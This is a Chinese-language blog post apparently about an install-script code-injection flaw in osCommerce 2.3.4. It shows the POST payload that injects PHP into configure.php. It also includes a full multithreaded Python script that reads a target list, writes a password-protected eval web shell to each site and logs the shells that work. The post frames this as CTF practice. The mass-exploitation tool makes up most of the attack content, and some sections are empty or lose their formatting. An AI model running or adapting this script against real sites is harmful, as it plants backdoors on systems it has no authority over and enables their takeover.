0x01 前言

好几天没有写了,前两天又去Boom了,差点没缓过来。今天在exploit-db逛看到一个洞,也是install的地方,想去利用上次那个远程数据库技巧来尝试下,发现这个洞根本用不到,不过新手可以学习下哈,也可以收藏下,因为有时候在ctf线下赛的时候官方会拿一些国外的程序给你玩,最近也在写python的漏洞利用工具,欢迎关注我的github。

0x02 环境

程序源码下载:https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip
Web环境:Windows 10+Apache2+PHP5.6+MySQL

0x03 漏洞利用过程

1.我们先正常安装这个程序

2.执行我们的payload

1
2
GET:http://127.0.0.1/oscommerce/install/install.php?step=4
POST:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*

3.访问写入代码的文件

GET:http://127.0.0.1/oscommerce/install/includes/configure.php


写入的内容:

0x04 漏洞代码分析过程

漏洞文件出现的位置是:\install\templates\pages\install_4.php

说起这个国外写的程序还没我们国内的严谨,安装完没有写入install.lock或者像Joomla(最近正在写)一样强制让客户删除安装文件。

直接看代码吧,过程也不算太复杂。这里用到了PHP以下的函数$HTTP_POST_VARS这个函数类似与PHP4及以上的$_POST。这里是接收参数的地方。

最重要还是这里,因为如果没有传入DIR_FS_DOCUMENT_ROOT的话下面写入文件就无法进行了。

0x05 Payload构造


DIR_FS_DOCUMENT_ROOT是必须的了,让它等于根目录./就行了。
写入恶意代码就用DB_DATABASE吧,我们先用闭合');前面,然后再写入phpinfo();,后面它会自动加上’);,exploit-db上面是直接加上/注释掉的,因为这个程序很奇怪,先一遍在install的配置文件,然后再写到程序里面的配置文件,所以就不会顾虑网站会崩的问题了。
payload:
post 模式`DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=’);phpinfo();/
`

0x06 用Python编写批量getshell脚本

我觉得你们应该读得懂这个代码吧,如果有需要的话我以后会把这里面的流程解释一遍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
if sys.argv[1]== "-f":
target=target[0]
url1=target+"/install/install.php?step=4"
data={
'DIR_FS_DOCUMENT_ROOT': './',
'DB_DATABASE':"\');@eval($_POST['f0rmat']);echo 'F0rmat';/*"
}
url2=target+"install/includes/configure.php"
try:
requests.post(url1,data=data)
verify = requests.get(url2, timeout=3)
if "F0rmat" in verify.content:
print 'Write success,shell url:',url2,'pass:f0rmat'
with open("success.txt","a+") as f:
f.write(url2+' pass:f0rmat'+"\n")
else:
print target,'Write failure!'
except Exception, e:
print e
def main():
if len(sys.argv)<3:
print 'python osCommerce_rce.py -h target/-f target-file '
else:
if sys.argv[1] == "-h":
exploit(sys.argv[2])
elif sys.argv[1] == "-f":
with open(sys.argv[2], "r") as f:
b = f.readlines()
for i in xrange(len(b)):
if not b[i] == "\n":
threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
main()

0x08 结束

这个洞确实有点简单了哈哈。

0x09 参考

https://www.exploit-db.com/exploits/44374/
https://github.com/F0r3at/Python-Tools